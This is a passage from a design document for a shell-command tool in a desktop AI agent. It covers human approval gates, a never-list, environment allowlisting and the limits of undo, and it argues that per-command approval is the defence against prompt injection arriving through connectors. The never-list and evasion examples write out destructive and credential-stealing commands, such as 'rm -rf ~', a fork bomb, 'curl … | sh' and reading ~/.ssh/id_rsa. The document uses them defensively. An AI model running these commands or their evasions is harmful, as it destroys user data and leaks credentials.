divergence fails + loudly at review"_. +- `capabilities/policy/service.py:_Reason` — `APPROVAL_EXECUTE = "approval_required.execute"`. +- `packages/api-types` + the Settings UI. + +**Decision: (b).** Two reasons beyond the conflation argument. + +1. **It is forward-additive by construction.** `ToolUsePolicySnapshot.from_response` + already drops unknown kinds and modes — _"forward-additive: a future deployment + that adds a new mode won't blow up an older runtime"_ (`permissions.py:71-78`). + So a newer backend against an older runtime degrades to the default rather than + crashing, and the rollout ordering is free. +2. **The `BYPASS` semantics need their own home.** §8 asserts that `BYPASS` must + never auto-run a command. Expressing that under `DESTRUCTIVE` means "bypass does + not cover destructive", which is already true and says nothing about execution; + expressing it under `EXECUTE` makes it a statement someone can read, test and + argue with. + +**Deployment default: `execute: ask`.** Not `block` — a default of `block` with a +tool that is already off by default (§7.4) is two off-switches, and the second one +is the one nobody finds. + +--- + +## 7. Enablement, binding, and the seal + +### 7.1 Four independent prerequisites; any missing ⇒ no tool + +`ShellToolFactory.build(...) -> StructuredTool | None` returns `None` unless **all** +hold: + +1. `ShellExecutionConfig.enabled` (process env). +2. At least one **writable** granted root exists for this run + (`GrantedRoot.writable`, `capabilities/desktop/workspace_backend.py:378-420`). +3. That grant record carries per-workspace shell enablement (§7.3). +4. `ENTERPRISE_DEPLOYMENT_PROFILE == "single_user_desktop"` — same gate the sandbox + composition uses (`runtime_worker/sandbox_composition.py:90`). + +`None` ⇒ the tool is absent from the model's tool list ⇒ `NO_SHELL_EXECUTE_GUIDANCE` +ships (§17). This reproduces `SandboxExecuteToolFactory.build`'s posture +(`capabilities/sandbox/execute_tool.py:82-96`). + +### 7.2 The twice-checked property + +Security invariant §1 says permission checks happen **twice** for MCP tools — list +time and call time — so _"a scope revoked mid-run is caught at call time"_ +(`docs/architecture/04-security-invariants.md:15-25`). A builtin has no card and +therefore misses `is_card_authorized` (`capabilities/tools/permissions.py:152`). +`run_in_sandbox` reimplements the property by hand: the closure re-reads +`adapter.availability` on every call (`execute_tool.py:86-96`). + +**`run_command` does the same**, and its recheck covers one more thing: **the bound +root must still be granted and still be writable at call time.** A grant detached +mid-run must not leave a live shell pointed at a folder the user just revoked. +Failing that recheck returns `status: "unavailable"`, never a fallback root. + +### 7.3 Enablement lives on the grant, not on the app + +Per-workspace, because "I trust the agent to run commands in `~/code/my-project`" +is a different sentence from "I trust the agent to run commands." The grant record +in Electron main (`apps/desktop/main/capabilities/grant-store.ts:22-31` — deliberately +outside the agent-data tree "so a compromised run cannot rewrite the authority list +it runs under") gains a boolean. It is settable **only** from the Settings/attach +flow, never from a runtime call. `GrantMode` (`apps/desktop/main/capabilities/types.ts:23`) +is not extended — this is a separate flag, because the three modes describe file +access and adding a fourth would imply an ordering (`read_write_no_delete` < +`read_write` < `execute`?) that is not true. + +⚠️ The broker's `ADVERTISED_METHODS` gains **nothing** (`apps/desktop/main/capabilities/broker.ts:105-121`). +The runtime reads the flag from the existing active-grant snapshot. No new IPC +verb, and specifically **no execution verb over the broker**. + +### 7.4 Sealed at run start + +The resolved `(enabled, bound root, label, mode)` tuple is computed once at +run-create and sealed onto the run context — the same rule the bypass posture +follows: _"a Settings change mid-flight must not retro-authorize a run the user +started under a different posture"_ (`execution/factory.py:2159-2165`). Turning +shell on mid-run does not affect the in-flight run (AC10.3). Turning it **off** +mid-run is caught by the §7.2 call-time recheck — the asymmetry is deliberate and +fail-closed in both directions. + +--- + +## 8. The permission model, and the default posture + +### 8.1 Which gate — exactly + +Four candidate mechanisms exist. We use three of them and none of them is new. + +| Mechanism | Used? | Why | +| ----------------------------------------------------------------------------------------------- | ----------------------------------- | ----------------------------------------------------------------------------------------------------------------------- | +| deepagents `FilesystemPermission` + `HumanInTheLoopMiddleware` (the `_FilesystemApproval` lane) | **No** | It is path-keyed (§2.2), and attaching permissions to an execution-capable backend is the `NotImplementedError` (§2.1). | +| `HostFilesystemFloor` | **No** — not as a gate | It is path-keyed and non-interruptible. It stays exactly as it is; a command does not touch it. | +| **Workspace grants** | **Yes** — as the _authority source_ | They decide **where** a command may start and whether that root is writable. They are not a gate on the command itself. | +| **The PDP + `PolicyToolMiddleware` + `ToolAccessGate`** | **Yes** — as the gate | See below. | + +The PDP fits without being bent, and the fit is not accidental — the machinery was +written with this shape in mind. `PolicySubjects.of(urn, args)` folds "the URN +first … then every top-level string argument" and its own docstring gives the +example: _"so `git push` / `~/.ssh/id_rsa` work"_ (`capabilities/policy/rules.py:331-334`). +For `RunCommandInput`, **the command string is itself a policy subject**, matched by +the same rule engine that matches MCP tool arguments. + +Concretely, one `run_command` call flows: + +``` +model emits run_command(command="pytest -q") + → RunCommandInput.model_validate (typed refusal on failure) + → PRE-PDP LEXICAL SCREEN (§9.3) (typed refusal; no card is ever drawn) + → PolicyToolMiddleware-shaped PEP + → PdpPolicyService.decide(principal, descriptor, args, posture) + Stage 1 availability → DENY if not LIVE + Stage 2 authorization → scopes ∧ allowlist + Stage 3 posture: + 3.1 _never.verdict(urn, subjects) is DENY → DENY ← survives BYPASS + 3.2 workspace BLOCK → DENY + 3.3 the action × trust × posture matrix → ALLOW | GATE + → ALLOW → executor.run(...) + → GATE → ToolAccessGate.park_for_approval(...) → langgraph_interrupt + → approval row → user decision → RuntimeApprovalHandler resume + → DENY → typed RunCommandResult(status="refused", reason=) +``` + +Three properties inherited verbatim from `policy_tool.py:32-52`, all of which +`run_command` needs: + +1. **The binding is the tool, not the payload.** The descriptor is bound at + registration; nothing model-supplied chooses _what_ is authorized. +2. **Every unresolved binding refuses.** +3. **The refusal matches the tool's own return contract** — a refusal that crashes + the run is not a refusal. Hence `RunCommandResult(status="refused")` and not an + exception. + +And the fail-closed rule: _"When no approval channel is wired (`gate is None`) a +GATE **fails closed** to a typed refusal: never a silent dispatch"_ +(`policy_tool.py:20-27`). + +**⚠️ `PdpPolicyService` has exactly one production construction site today** +(`capabilities/mcp/descriptor_source.py:249`), and Stage 2 is connector-shaped: +`connector = server_slug(CapabilityUrn.parse(descriptor.urn).namespace)` +(`policy/service.py:230`), then `_has_scopes(principal, connector=..., ...)` and +`_is_allowlisted(principal, urn=...)`. A builtin has no connector. `run_command` +would be the **first non-MCP capability through the PDP**, which is the substitution +test the package was built for — but it needs a builtin analogue for +`ConnectorState` (fix to `LIVE` from the sealed enablement), `descriptor.scopes` +(empty set — the authority is the grant, not a scope), and the allowlist port. +Budget this as real integration work, not a config line. → **OQ-1**. + +### 8.2 The default posture: **ask every time.** Argued. + +The obvious alternative — "allow reads, gate writes" — is **not expressible for a +command**, and that is a statement about mechanism, not taste. + +To auto-allow a read you must classify the command as read-only. That classification +_is_ the security boundary, so a wrong classification is an unapproved write. +The two prior arts bracket the cost precisely: + +- **OpenCode refuses to build the classifier.** Its tree-sitter parse is + _describe-only_: it produces permission patterns and the string that executes is + `params.command` verbatim (`packages/opencode/src/tool/shell.ts:633`). Its default + for `bash` is then `allow` (`packages/opencode/src/agent/agent.ts:119-136`). +- **Hermes builds it** — ~12 hardline plus ~47 dangerous regexes with deobfuscation + passes, quote-masking and command-substitution folding + (`tools/approval.py:1002-2156`) — **and still needs an auxiliary LLM tier for the + residue** (`approval.py:2886-2977`). + +We are not going to write and maintain a better adversarial classifier than Hermes', +and Hermes' own design concedes that its classifier is insufficient alone. So: +**every command asks.** + +The second reason is specific to us. Our product ingests untrusted text from +connectors — email, Discord, web. Security invariant §4 names model output, MCP +results and connector payloads as untrusted (`docs/architecture/04-security-invariants.md:64-77`), +and the filesystem README states the consequence: this _"turns 'summarize this +email' into a path to arbitrary code execution"_ (`docs/plan/filesystem-capability/README.md:56-59`). +**A human reading the literal command before it runs is the only control in this +design that is robust to a novel injection.** Auto-allowing any class of command +removes it for that class. + +The third is honesty about what we can enforce. §2.2 shows we cannot confine a +command to the granted root from Python. The approval card is therefore not one +control among several — for the write side, in v1, it is the control. + +**`BYPASS` does not auto-run commands.** The composer bypass pill means _"writes +auto"_ — its own module says bypass _"removes the approval **pause**. It never +removes the ledger, and it never creates a second way to touch the disk"_ +(`execution/filesystem_bypass.py:1-20`). A command is exactly a second way to touch +the disk. Under `Posture.BYPASS`, the `EXECUTE` axis resolves to `ask` regardless; +this is an invariant with a test, not a default (§16.1). + +### 8.3 The always-grant: run-scoped, `argv[0]`-keyed, simple-commands-only + +Asking forty times is a real cost, and approval fatigue is itself a security +failure. The mitigation: + +**Grant key:** `(run_id, bound_root_label, argv0)`. +**Lifetime:** the run. Never written to disk. Held in the existing +`RunDecisionLedgers` once/always accumulation (`capabilities/mcp/descriptor_source.py:279-336`), +which already carries `decision_scope ∈ {once, always}` on the resume wire +(`surfaces_v2/gate.py:104-110`). +**Offered only when** the command is a _single simple command_: no newline, `&&`, +`||`, `;`, `&`, `|`, `<`, `>`, backtick, `$(`, `${`. If any is present, the +"Allow for this run" control **is not drawn** and the command is one-shot only. + +That last rule is Hermes' (`approval.py:2489-2519`) and it is the one that makes +the whole scheme sound: `pytest && curl https://x | sh` has `argv[0] == "pytest"`, +so without it a `pytest` grant would authorise anything. + +**Why `argv[0]` and not OpenCode's arity-prefix.** OpenCode generalises to +`git commit *` / `pytest *` via a ~140-entry hand-written table +(`packages/opencode/src/permission/arity.ts:24-161`) whose generating LLM prompt is +checked in as a comment at `arity.ts:11-22`. A prefix rule is a rule about commands +the user has not seen, derived from a table nobody audited. `argv[0]` + +run-scope + root-scope + simple-only is narrower, has no table, and is explainable +in one sentence on the card: _"Allow `pytest` in **my-project** for the rest of +this run."_ + +**Parsing never widens; it only narrows what we offer.** If tokenisation fails or is +ambiguous, the always control is not drawn and the command still runs after one-shot +approval. Fail-closed in the direction that costs a click, never in the direction +that costs a grant. + +**Edge case, raised not removed:** `argv[0]` for `env FOO=1 pytest`, `nice pytest`, +`xargs pytest`, and `sh -c "pytest"` is not `pytest`. v1 does **not** try to see +through wrappers — it keys on the literal first token, so `env FOO=1 pytest` earns +a grant for `env`, which is far too broad. **Therefore: a fixed deny-the-always-button +list of wrapper binaries** (`env`, `sh`, `bash`, `zsh`, `sudo`, `doas`, `nice`, +`nohup`, `xargs`, `time`, `timeout`, `script`, `ssh`, `docker`, `make`?) gets +one-shot-only treatment. `make` is arguable — it runs a file the agent may have +written — and it is listed here to be decided rather than silently included. +→ **OQ-2**. + +--- + +## 9. What is refused outright, regardless of approval + +### 9.1 The mechanism already exists — we populate it, we do not build it + +`PdpPolicyService` already carries a never-list and evaluates it **above +everything**: + +```python +# capabilities/policy/service.py:328-333 +# 3.1 — The never-list. A durable, user-authored floor: no posture, no +# rule, and no per-connector override reaches above it. +if self._never.verdict(descriptor.urn, subjects) is RuleAction.DENY: + return PolicyDecision.DENY, self._Reason.PERMISSION_DENIED +``` + +`self._never` is a `PermissionRuleset` (`service.py:200`), the class docstring +confirms _"the never-list, a workspace `BLOCK` and the DESTRUCTIVE rung all +surviving BYPASS"_ (`service.py:111-113`), and the wire key already exists: +`PermissionRuleset.Keys.NEVER = "never"` (`capabilities/policy/rules.py:171`), carried +on `user_policies_json`. + +**So the never-list is not a fourth gate.** It is rows in an existing ruleset, +matched against subjects that already include the command string. + +### 9.2 The rows + +Expressed as **data**, in `capabilities/shell/never_list.py`, shipped as a frozen +default ruleset merged _before_ any user-authored rules (order is precedence: +`PermissionRuleset.merge` concatenates and `evaluate` is last-match-wins, +`rules.py:159-184` — so the shipped floor must be merged such that no user rule can +override it; see §9.5). + +| Class | Shape | Why | +| ---------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| Root/home recursive delete | `rm -rf /`, `rm -rf ~`, `rm -rf $HOME`, `rm -fr` and flag permutations | The single most common catastrophic accident. | +| Filesystem destruction | `mkfs*`, `dd of=/dev/*`, redirect to `/dev/(disk\|sd\|nvme)*` | Unrecoverable, never a legitimate agent action. | +| Machine state | `shutdown`, `reboot`, `halt`, `poweroff`, `init 0\|6`, `systemctl poweroff\|reboot` | Destroys the run and the evidence. | +| Privilege | `sudo`, `doas`, `su` in **any** position; `sudo -S` specifically | We never run privileged. `-S` reads a password from the stdin we closed — that is credential brute-forcing (Hermes `approval.py:472-517`). | +| Fork bomb | `:(){ :\|:& };:` and spelling variants | — | +| **Pipe-to-interpreter from the network** | `curl … \| sh`, `wget … \| bash`, `… \| python -`, `iwr … \| iex` | The single highest-value injection shape. AC9.3. | +| **Credential paths** | any subject matching `~/.ssh/**`, `~/.aws/**`, `~/.gnupg/**`, `~/.kube/**`, `~/.docker/**`, `~/.azure/**`, `~/.password-store/**`, `**/Library/Keychains/**` | Exactly `SENSITIVE_ROOT_SEGMENTS` (`apps/desktop/main/capabilities/path-validation.ts:313-323`) — the same list the grant layer refuses to grant over. §5 covers keeping it one list. | +| **Credential filenames** | `id_rsa*`, `id_ed25519*`, `*.pem`, `*.p12`, `.netrc`, `.pgpass`, `credentials`, `.env` and `.env.*` | Exactly `SENSITIVE_FILE_RULES` (`path-validation.ts:854-871`), which the broker already applies to _reads_. A command must not be the way around a rule the read path enforces. | + +`PermissionRule.expand` already handles the `~` / `$HOME` prefix portably +(`rules.py:104-122`), so the credential rows are authored as `~/.ssh/**` and expand +once at config-parse time — _"never inside the PDP's `decide`, which reads no +globals."_ + +### 9.3 The pre-PDP lexical screen — for what `_never` structurally cannot see + +Two properties of the ruleset matter here and both are real limits, verified: + +1. **Subjects are truncated at 1024 characters.** `PolicySubjects._MAX_CHARS = 1024` + and `subjects.append(trimmed[: cls._MAX_CHARS])` (`rules.py:342, 355`). Our + `command` field allows 8192. **A never-pattern anchored past character 1024 will + not match**, so `<1000 bytes of padding> ; rm -rf ~` evades the ruleset. +2. **Backslashes are rewritten to forward slashes before matching.** + `Wildcard.match` does `value.replace("\\", "/")` and compiles with `re.DOTALL` + and `fullmatch` (`rules.py:101, 126-133`). A shell-escaped `r\m` is not + normalised, but a Windows-style path is mutated before the rule sees it. + +So `capabilities/shell/never_list.py` also exposes a **pre-PDP screen** that runs on +the _full, untruncated_ command string before the PEP is entered, applying the same +row set with the same anchoring. Two screens, one data table — never two tables. +A hit returns `RunCommandResult(status="refused")` and **no approval card is ever +created** (AC7.1). + +### 9.4 Say plainly what the never-list is for + +**It is defence in depth against the plausible accident and the low-effort +injection. It is not a boundary against a determined adversary, and nothing in +this PRD should be read as claiming otherwise.** + +`cat ~/.ssh/id_rsa` is caught. `cat $H''OME/.ssh/id_rsa` is not. +`python -c "import os;print(open(os.path.expanduser('~/.ssh/id_rsa')).read())"` is +not, and no lexical table catches it. The controls that actually hold on that path +are: the constructed environment (§11), the scratch `HOME` (Phase 2), the OS +profile (Phase 2, SPIKE-S1) — and the human reading the command. + +**The corpus therefore records known-misses explicitly** (AC7.4). A green never-list +suite that contains only hits is a green suite over a false claim; a suite that +pins twelve documented misses is a suite the next engineer can reason about. + +### 9.5 One ordering trap + +`PermissionRuleset.evaluate` is **last-match-wins** (`rules.py:181-184`) and +`merge` concatenates (`rules.py:206`). If the shipped floor is merged _first_ and a +user-authored ruleset later, a user rule of `{"pattern": "*", "action": "allow"}` +would sit after the floor and win. **The shipped never-rows must be merged LAST +into `_never`**, and a test must assert that a user `allow *` in the never ruleset +does not lift `rm -rf /`. This is the exact failure OpenCode's docs work around by +telling users to put `"*"` first (`packages/web/src/content/docs/permissions.mdx:91`); +we should not depend on documentation for it. + +--- + +## 10. The undo problem — the honest answer + +### 10.1 The journal is not weak here. It is unreachable. + +`HostWriteJournal` capture exists at exactly six methods on `HostFilesystemFloor` +(`write`/`awrite` `:378-390`, `edit`/`aedit` `:392-420`, `delete`/`adelete` +`:441-453`), each of which runs `permits_write` and then `_capture` immediately +before delegating — _"so the journal can never hold a path the floor refused"_ +(`write_journal.py:31-37`). A child process calls `open(2)`. No floor method +executes. **Zero rows.** + +Five further reasons a bolt-on does not work, each grounded: + +1. **`authorized_root` has no value to hold.** It is the field the revert's only + real security check reads: `path_within(record.path, record.authorized_root)` + is _"the one check that keeps a revert from becoming a write primitive"_ + (`write_journal.py:353-357`). A command has no admitting root per path, so a + synthesised record either fabricates one (making the check a no-op) or omits it + (making the record unrevertible). Both are worse than absence. +2. **Granularity collapses.** `tool_call_id` is what makes "undo just that one edit" + expressible (`write_journal.py:96-104`). One `make build` is one tool call over + ten thousand files — the tree-snapshot approximation the journal design + explicitly rejected (`write_journal.py:26-29`). +3. **Pre-image capture is not expressible ahead of a command.** Capture requires + knowing which path is about to change. A command string is not analysable for + that. +4. **The honesty channel has no analogue.** `MAX_CAPTURE_BYTES = 8 MiB` decided by + `os.lstat` gives "recorded, not revertible" (`write_journal.py:75-82`). A command + appending 900 MB has no `st_size` to consult. +5. **The audit story would invert.** `tool_call_outcome` still fires + (`runtime_worker/audit.py:28`), so the audit log would say _a command ran and + succeeded_ while the change ledger says _nothing changed_. Two systems + disagreeing, with the trusted one wrong, is a worse compliance posture than no + logging. + +### 10.2 v1 decision: commands are outside undo, and we say so three times + +**No `HostWriteRecord` is ever synthesised for a command** (AC4.4). + +The concession is stated in three places, because a truth stated once in a tooltip +is not stated: + +1. **The tool description**, so the model does not promise otherwise. PRD-FS-08's + guardrail — _"Do not claim … that the sandbox runs against the user's files"_ — + generalises: the description says the command runs against real files and that + **the app cannot undo what it changes**. +2. **The approval card**, as a persistent line under the command: _"Changes made by + a command can't be undone from here."_ Not a chip, not a hover. +3. **The Changes tab**, as a non-dismissible notice naming the count (AC4.1–4.3). + `HostWritesTab`'s own header already carries the honesty discipline this needs: + _"THE OUTCOME IS RENDERED, ALWAYS … a group whose undo restored nothing says so + rather than looking successful"_ (`packages/chat-surface/src/workspace/HostWritesTab.tsx:34-41`). + A tab that lists three journaled edits while silently omitting a `make clean` is + the same failure that comment exists to prevent. + +### 10.3 Phase 3: bounded root-manifest capture + +The only design that makes commands undoable is to change granularity — from +per-file pre-image to **per-command root manifest**: + +- Before the command: walk the bound root, recording `(relpath, size, mtime_ns, +sha256)` for regular files, honouring `.gitignore`-style excludes. +- After: walk again; diff; the difference is the command's write set. +- Materialise one `HostWriteRecord` per changed path, with `authorized_root` = the + bound root (which is now _true_ — the root really is the admitting authority) and + `tool_call_id` = the command's call id. Undo then works through the **existing** + reverter unchanged. + +This is precisely the _"`git add -A` over `~/Documents`"_ cost the journal design +rejected (`write_journal.py:18-21`), and it is reconsidered here only because the +bounds are different: one grant root, opt-in, and **fail-closed on size**. Concretely: + +- Refuse to capture — **and therefore refuse to run the command** — when the root + exceeds `manifest_max_files` (proposal: 50 000) or `manifest_max_bytes` + (proposal: 2 GiB). "Too large to track ⇒ command runs untracked" is the wrong + direction; "too large to track ⇒ command does not run in tracked mode" is right, + with a clear message and a per-workspace opt-out that returns the user to v1's + honest concession. +- Hash only files under `MAX_CAPTURE_BYTES` (8 MiB, reusing the existing constant); + larger files are recorded by `(size, mtime_ns)` and land as "changed, not + revertible" — the journal's existing honesty channel, reused rather than invented. +- Pre-images for the changed set are stored **after** the diff, which means a file + the command deleted has already lost its bytes. **This is a real hole and Phase 3 + must close it, not paper over it**: either pre-copy every file under the cap + before the command (expensive but complete) or accept that deletions are + "recorded, not revertible" and label them so. Raised, not resolved. → **OQ-4**. + +Phase 3 is separately specified. It is not a v1 obligation and v1 must not imply it. + +--- + +## 11. Process, environment, isolation + +### 11.1 The one subprocess call site + +`capabilities/shell/executor.py` holds **the only** `subprocess`/`asyncio` process +spawn in `agent_runtime`. A guardrail test greps the package for `shell=True` and +`create_subprocess_shell` outside it (§16.6) — the same test PRD-FS-08 already +specifies for the sandbox provider package (`PRD-FS-08:1583`). + +Spawn shape, taking the parts of both prior arts that were right: + +```python +await asyncio.create_subprocess_exec( + config.shell_path, "-c", command, + stdout=PIPE, stderr=STDOUT, # combined; matches ExecuteResponse.output + stdin=DEVNULL, # closed: no interactive prompting, no password entry + cwd=bound_root, + env=build_environment(...), # ALLOWLIST — §11.3 + start_new_session=True, # own process group, so the whole tree dies +) +``` + +`start_new_session=True` mirrors Hermes (`tools/environments/local.py:1532-1543`) and +is what makes AC5.1/5.3 achievable. **⚠️ OpenCode sets `detached: true` and then +never uses its own `Shell.killTree` helper — which has zero callers anywhere in +`packages/` (`packages/core/src/shell.ts:31-60`) — so whether its kill reaches the +group is unverified.** We must not inherit that gap: teardown is an explicit +`os.killpg(pgid, SIGTERM)`, wait, then `SIGKILL`, waiting on the **group**, not the +wrapper (`local.py:1557-1620`). + +### 11.2 Timeout and cancel + +- Default 120 s; explicit `timeout_s` above `max_timeout_s` (600) is refused (§4.2). +- Timeout ⇒ kill the group ⇒ `status: "timeout"`, `exit_code: null`, partial output + preserved, and a hint naming the value so the model can retry sensibly. +- Run cancel (`POST /v1/agent/runs/{run_id}/cancel`, `runtime_api/http/routes.py:1183-1184`) + must reach the executor and kill the group ⇒ `status: "cancelled"`, partial output + preserved (AC5.2). OpenCode's test for this behaviour is the right assertion to + copy: _preserves output when aborted_ (`packages/opencode/test/tool/shell.test.ts:1010-1041`). + +### 11.3 The environment is built, not inherited + +**Inheriting `os.environ` would defeat security invariant §5 in one call.** That +invariant's whole design is that provider keys ride +`AgentRuntimeContext.provider_keys` with `exclude=True, repr=False` so they "never +appear in `runtime_context_json`, queue/outbox payloads, events, or reprs" +(`docs/architecture/04-security-invariants.md:80-96`). The worker **process** still +holds them, plus `COPILOT_BROKER_TOKEN` (the loopback broker bearer, +`capabilities/desktop/broker_client.py:12-16`) and `ENTERPRISE_SERVICE_TOKEN`. +`env | grep -i key` would print all of it. + +So: **allowlist, not denylist**, and the test must fail if anyone inverts it +(AC6.2). Hermes uses a tiered denylist (`local.py:531-572`) and openly documents +deliberate non-strips; a denylist is the wrong default for us because our secret +set grows with every provider we add. + +v1 allowlist: + +| Var | Value | +| ---------------------- | --------------------------------------------------------------------------------------------------------------- | +| `PATH` | a constructed PATH: system dirs + the bound root's conventional local bin dirs. Not the worker's PATH verbatim. | +| `HOME` | v1: the real home (see §11.5). Phase 2: a per-run scratch. | +| `TMPDIR` | the agent scratch under `$COPILOT_HOME/.tmp` — already a floor-allowed location (`host_filesystem.py` rule 2). | +| `PWD` | the bound root | +| `LANG`, `LC_ALL`, `TZ` | passed through if present, else `C.UTF-8` / `UTC` | +| `USER`, `LOGNAME` | passed through | +| `TERM` | `dumb` — suppresses most ANSI; §13 | +| `NO_COLOR` | `1` | +| `CI` | `1` — makes most test runners non-interactive and deterministic | + +Everything else is **absent**. `VIRTUAL_ENV` and `CONDA_PREFIX` are deliberately +stripped, borrowing Hermes' reason: they cause cross-project venv clobbering +(`local.py:339-350`). + +Phase 3 adds a per-workspace, user-authored passthrough allowlist of **names** +(e.g. `NODE_ENV`, `RUST_BACKTRACE`) in Settings. Never values, never a wildcard. + +### 11.4 `/bin/sh`, not `$SHELL`, and no rc sourcing + +`config.shell_path` defaults to `/bin/sh`. Not `$SHELL`, and not a login shell: + +- A login shell sources `~/.zshrc`, which is arbitrary user code executing with the + child's environment, and can re-export anything — including things we just spent + §11.3 removing. This repo has already been bitten by `.zshrc` contents changing + build behaviour (a dead `CC` in `.zshrc` broke node-gyp). +- OpenCode gets this right by accident: `Shell.args()`, which builds the login-shell + invocation, is called only for the _user's_ typed command and never by the tool + (`packages/core/src/shell.ts:166-200`). +- Consequence to state honestly in the tool description: **aliases and shell + functions are not available.** `ll` will not work; `ls -la` will. + +### 11.5 Isolation: what we have, and what we do not + +There is no OS sandbox in v1. State it plainly, in the doc and in the Settings copy: + +> A command runs as you, with your permissions. It can read any file your user can +> read, write any file your user can write, and reach the network. + +The cwd binding constrains where a command **starts**, not where it can reach. +`SENSITIVE_ROOT_SEGMENTS` and `SENSITIVE_FILE_RULES` constrain the **broker**, not a +child process (§2.2). Network is unrestricted. + +**SPIKE-S1 (Phase 2): can we get real confinement per platform?** + +- macOS: `sandbox-exec` with a generated profile — `(deny file-write*)` outside the + bound root, `(deny file-read*)` on the credential roots, `(deny network*)` + optional per workspace. It works, and **Apple has deprecated it**; the spike must + determine whether it is viable to ship on current macOS and what the failure mode + is when it is removed. Unverified either way today. +- Linux: `bwrap`/`landlock` — not present in the packaged runtime; would need + bundling. +- Windows: no equivalent primitive short of a container. PRD-FS-08's blocking + **SPIKE-L2** already owns the Windows container question + (`docs/plan/filesystem-capability/README.md:396-402`) and this spike should not + duplicate it. + +Phase-2 scratch `HOME` is the cheaper half of the same goal and does not need the +spike: setting `HOME` to a per-run scratch makes `~/.ssh` unreachable _by +expansion_, which covers the large majority of realistic paths. Its cost is real and +must be designed, not waved at: `git` loses `~/.gitconfig`, `npm` loses `~/.npmrc`, +`pyenv`/`nvm`/`cargo` break. The mitigation is an explicit opt-in **config +passthrough**: a named list of files copied read-only into the scratch home at +command start. **`.npmrc` can contain `_authToken`** — so every passthrough file +runs through the `isSensitiveFileName` equivalent (`path-validation.ts:879-884`) and +a file containing a credential-shaped line is refused with a message naming it, +never silently copied. Raised here deliberately: this is the hard edge case in +Phase 2 and it must not be simplified away. + +--- + +## 12. Scope limits, argued + +### 12.1 One command, one process, no state + +No `cd` persistence, no persistent shell session. OpenCode's prompt calls its tool +_"a persistent shell session"_ (`packages/opencode/src/tool/shell/prompt.ts:259`) +while every call spawns a fresh process (`shell.ts:303, 484`) — copy that +description and the model will reason about state that does not exist. Our +description says the opposite explicitly (§4.2). + +### 12.2 No `run_in_background` + +Hermes has it and it is genuinely useful (`terminal_tool.py:2653-2900`). We do not, +because of a property of our ledger rather than of shells: **a run's terminal event +seals its causal prefix**, and the ledger models are explicit that a run's terminal +event is what is _"entitled to seal it"_ +(`agent_runtime/surfaces_v2/ledger_models.py:277-284`). A background command +finishing after the seal has nowhere to write its outcome — no event, no ledger row, +no audit line. The honest options are (a) no background mode, or (b) a run that +cannot terminate until its background children do, which is a hang wearing a +feature's clothes. + +⚠️ I verified the seal exists and what it means; I did **not** trace what +`append_api_event` does with a post-seal append, so "no background mode" is argued +from the seal's stated semantics rather than from an observed rejection. Confirm +before writing it into an ADR. + +### 12.3 Subagents do not get the tool + +Two reasons. + +- Security invariant §7: subagents are deliberately isolated, and _"a subagent + receiving a full history can exfiltrate information from prior turns"_ + (`04-security-invariants.md:118-129`). Subagents already inherit the parent's + filesystem permissions (`capabilities/desktop/host_tool_paths.py:163-167`). Adding + execution multiplies the doors by the fleet width. +- Product: a fleet of four subagents each parking on a command approval is four + decisions the user cannot sequence or reason about. The machinery to render that + exists (`SUBAGENT_PAUSED`, `runtime_api/schemas/common.py:148`), but the UX does + not. + +Enforced where the subagent toolsets are built (`factory._subagents_with_fs_permissions` +region), with a test asserting `run_command` is absent from every subagent's list. + +### 12.4 No stdin, ever + +`stdin=DEVNULL`. A tool that can supply stdin is a tool that can type a password. +Prohibited outright, and the tool description says interactive commands will fail so +the model stops trying. The timeout message hedges the same way OpenCode's does — +_"and is not waiting for interactive input"_ (`shell.ts:564`). + +--- + +## 13. Output handling + +**Combined stdout+stderr, tail-kept, 64 KiB.** + +- **Tail, not head.** The error is at the end. `Truncate.tail` in OpenCode does this + including a UTF-8 continuation-byte walk so a byte-clipped line does not split a + codepoint (`packages/opencode/src/tool/shell.ts:225-255`) — copy that behaviour + (AC8.3). Note this is the _opposite_ of the generic tool wrapper's head-first + truncation there (`truncate.ts:102-137`); ours has one rule. +- **Ring buffer while streaming**, bounded at `2 × cap`, so a command emitting a + gigabyte never holds a gigabyte. +- **Overflow spills into the agent's own scratch** (`$COPILOT_HOME/.tmp`, floor rule 2) and `output_ref` is the **virtual** path. The model reads it with `read_file` + — which routes back through the ordinary path-keyed lane, the floor, and the + journal. **Overflow re-enters through the controls rather than around them.** This + is the design's one genuinely elegant property and it should not be traded away + for a host-absolute path. +- **The truncation notice is in the output string**, so a model that reads only + `output` still learns it was cut: + `...output truncated (kept the last 64 KiB of 4.2 MB)...\nFull output: /tmp/...\n\n`. + It is _also_ a structured field, because a model should not have to parse English + (§4.3). +- **Retention** for spill files: 7 days, matching `RETENTION_DAYS` + (`write_journal.py:81-82`) and OpenCode's sweeper (`truncate.ts:12, 143-148`). +- **ANSI:** `TERM=dumb` + `NO_COLOR=1` suppresses most of it at the source. What + survives is stripped for the model and rendered as colour in the UI (§14.3). + +**Redaction — the invariant this cannot satisfy, stated.** Security invariant §6 is +explicit that redaction is field-annotation-driven and that _"regex-based value +scanning was explicitly rejected"_ (`04-security-invariants.md:100-114`). Command +stdout is one opaque string that may contain a private key, and it is therefore the +first payload the redactor structurally cannot classify. The existing precedent is +the user-message carve-out — _"length-clipped in logs but not value-redacted, since +it cannot be pre-classified as sensitive"_ (`:112-114`). + +**⇒ v1 follows that precedent: `output` is length-clipped in logs and not +value-scanned, and the 64 KiB cap is the bound.** This is a conscious acceptance, +not an oversight, and it belongs in the compliance record. Hermes redacts +(`terminal_tool.py:3051-3052`) and pays the false-positive cost; adopting that +would reverse a documented invariant and needs its own decision. → **OQ-5**. + +--- + +## 14. UI + +### 14.1 Pre-run approval — reuse `TcWriteGateRow`, with two additions + +**It fits.** `TcWriteGateRow` was built for MCP write gates and generalised +deliberately: _"every prop that is gate-specific is optional so an ordinary tool +approval renders through the same card"_ +(`packages/chat-surface/src/thread-canvas/TcWriteGateRow.tsx:29-33`). Its +properties are the ones a command approval needs: + +- **The header is identical collapsed and expanded** (`TcWriteGateRow.tsx:14-19`), so + expanding to read the command does not move the button under your cursor. +- **A decision covering more than the call in front of you is not a one-click + decision** (`:112-117`) — `onApproveAlways` lives in the body, never the header. + That is exactly the rule §8.3's always-grant needs. +- **`irreversible` swaps the primary action for "Review"** so it cannot be approved + in one click from the collapsed card (`:82-88`). +- Its structural testids are read by a live packaged-app journey + (`tools/desktop-journeys/write-gate-inline`), so reusing it inherits real + coverage. + +Mapping: + +| Prop | Value for a command | +| ----------------- | 